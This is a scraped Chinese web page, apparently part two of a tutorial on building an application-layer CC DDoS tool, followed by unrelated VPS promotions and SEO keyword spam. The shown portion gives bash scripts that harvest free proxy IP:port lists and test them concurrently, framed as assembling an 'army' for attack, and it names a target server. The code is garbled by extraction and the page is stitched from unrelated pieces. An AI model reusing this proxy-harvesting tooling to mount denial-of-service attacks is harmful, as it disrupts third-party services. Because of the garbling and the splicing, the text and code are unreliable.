代理DDoS攻防战(二):CC攻击工具实现与防御理论 _118

ddos攻击工具  时间:2021-01-09  阅读:()

我们将要实现一个进行应用层DDoS攻击的工具综合考虑 CC攻击方式是最佳选择并用bash shell脚本来快速实现并验证这一工具并在最后讨论如何防御来自应用层的DDoS攻击。

第一步获取大量可用代理ip:port列表

网上所处可见免费代理我们使用http的GET方法抓取html文档接着使用正则过滤出我们需要的ip port对然后逐一验证各代理的可用性最终得到可用的代理ip port对。

C

1 grab_proxy.sh

2 #!/bin/bash

3

4 #get proxy l ist

5 declare proxyListFi le="proxy.txt"

6 declaretmpFi le=`mktemp`

7 declareurl

8 declarel ine

9 declaretimes

10 declareip

11 declare port

12 declare i

13 declarej

14 declare mod

15

16 function quit() {

17 rm-f$tmpFi le

18 exit "$1"

19}

20

21 echo"get proxy l ist. . .please wait. .."

22

23 if[ -r "$proxyListFi le" ]

24then

25 rm-f$proxyListFi le

26 fi

27

28 touch$proxyListFi le

29

30 forurl in " http://www.youdai l i .cn/Dai l i/guonei/2215.html "\

32 " http://www.youdai l i .cn/Dai l i/guonei/2215_3.html"\

33 " http://www.youdai l i .cn/Dai l i/guonei/2215_4.html "

34 do

35 if GET"$url">$tmpFi le

36 then

37 grep-oE '^.*<br/>.*$' "$tmpFi le" |grep-Eo"([0-9]+) (\. [0-9]+){3}:([0-9]+)"\

38 | sort -n | uniq | awk-F: '{printf("%-15s%s\n",$1,$2); }'>>$proxyListFi le

39 else

40 exec1>&2

41 echo"error:get proxyl istfai l ! chechthe url :$urlorthe network"

42 quit1

43 fi

44 done

45

46 echo"done. total `cat$proxyListFi le |wc-l`proxy"

47

48 quit0

49#exit

参数declare proxyListFile=” proxy. txt” ?#抓取到的代理ip port对所存放的文件路径

C

1 check_proxy.sh

2 #!/bin/bash

3

4 #get proxy l ist

5 declarecheck_threads=10

6 declarel ine

7 declaretimes

8 declareip

9 declare port

10 declare i

11 declarej

12 declare mod

13

14 function quit() {

15 exit "$1"

16}

17

18#echo"start check proxy'sfunctional ity. . ."

19

20#retargetthe inputfi leto stdin

21 if[ "$#" -gt "0" ]

22then

23 exec0<$1

24 else

25 exec1>&2

26 echo"usage:bash$0 proxyListFi le.txt"

27 echo"error:musthaveone inputarg"

28 quit1

29 fi

30

31#check proxy'sfunctional ity

32times=0

33whi lereadl ine

34 do

35 times=$((times+1) )

36 j=0

37 for i in`echo$l ine | tr ' ' '\n' |grep-E'^[^\s].*$'`38 do

39 j=$((j+1) )

40 if[ "$j" -eq1 ]

41 then

42 ip=$i

43 else

44 port=$i

45 fi

46 done

47 #echo"times=$timesip=$ip port=$port"

48 #start test

49 if GET-t 5-p"http://$ip:$port" "http://baidu.com"&>/dev/nul l

50 then

51 echo"$ip$port"

52 echo":) ip=$ip port=$port "&>/dev/nul l

53 else

54 echo"inval id ip=$ip port=$port :please check ip:host or network"&>/proc/self/fd/2

55 fi&

56 mod=$((times%check_threads) )

57 if [ "$mod" -eq"0" ]

58 then

59 wait

60 fi

61 done

62

63#closethefdof inputfi le

64 exec 0>&-

65 quit0

66#exit

参数declare check_threads=10#验证代理可用性时的并发数看一下代码就会发现我们使用的是GET?http://baidu.com方法所以并发数请不要也太高: )除非你的目标就是……

总结应征入伍的士兵共计600人经过考核的共计449人如果你还想招募更多的士兵奉劝一句苦海无边 回头是岸。

第二步吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机各位读者请不要太暴力测试一下就可以了地址?http://eecs.cc:8080/

BuyVM老牌商家新增迈阿密机房 不限流量 月付2美元

我们很多老用户对于BuyVM商家还是相当熟悉的,也有翻看BuyVM相关的文章可以追溯到2014年的时候有介绍过,不过那时候介绍这个商家并不是很多,主要是因为这个商家很是刁钻。比如我们注册账户的信息是否完整,以及我们使用是否规范,甚至有其他各种问题导致我们是不能购买他们家机器的。以前你嚣张是很多人没有办法购买到其他商家的机器,那时候其他商家的机器不多。而如今,我们可选的商家比较多,你再也嚣张不起来。...

月神科技-美国CERA 5折半价倒计时,上新华中100G高防云59起!

官方网站:点击访问月神科技官网优惠码:美国优惠方案:CPU:E5-2696V2,机房:国人热衷的优质 CeraNetworks机房,优惠码:3wuZD43F 【过期时间:5.31,季付年付均可用】活动方案:1、美国机房:洛杉矶CN2-GIA,100%高性能核心:2核CPU内存:2GB硬盘:50GB流量:Unmilited端口:10Mbps架构:KVM折后价:15元/月、150元/年传送:购买链接洛...

hostkvm:7折优惠-香港VPS韩国VPS,8折优惠-日本软银、美国CN2 GIA、新加坡直连VPS

hostkvm本月对香港国际线路的VPS、韩国CN2+bgp线路的VPS正在做7折终身优惠,对日本软银线路、美国CN2 GIA线路、新加坡直连线路的VPS进行8折终身优惠促销。所有VPS从4G内存开始支持Windows系统,当然主流Linux发行版是绝对不会缺席的!官方网站:https://hostkvm.com香港国际线路、韩国,7折优惠码:2021summer日本、美国、新加坡,8折优惠码:2...

ddos攻击工具为你推荐
域名注册域名的注册是怎么回事?在不同的网站注册有区别吗?.net虚拟主机想买个同时支持php和.net的虚拟主机,哪里可以买到这样的空间?是同时支持的那种。便宜的虚拟主机低价虚拟主机那种类型的好呢?香港虚拟空间香港虚拟主机空间哪家最好重庆虚拟空间重庆顺丰快递运的电脑主机19号中午11点到的第二天物流状态还是在重庆集散中心?今天能不能领导件?jsp虚拟空间java虚拟主机空间怎么选择,国内jsp虚拟主机比较稳定java项目做好后需要推荐一下吧100m网站空间100M的最好的网站空间价格多少?深圳网站空间深圳网站设计 哪家好一些?香港虚拟主机香港虚拟主机多少钱一年呢?100m虚拟主机虚拟主机 100M 和200M 的区别?那个速度快?为什么?
香港新世界电讯 12u机柜尺寸 服务器cpu性能排行 搜狗抢票助手 新站长网 镇江联通宽带 河南m值兑换 cdn加速原理 web服务器搭建 php服务器 lamp兄弟连 域名转入 hostease xshell5注册码 美国代理服务器 stealthy neobux qq部落18-3 免费php空间申请 29美元 更多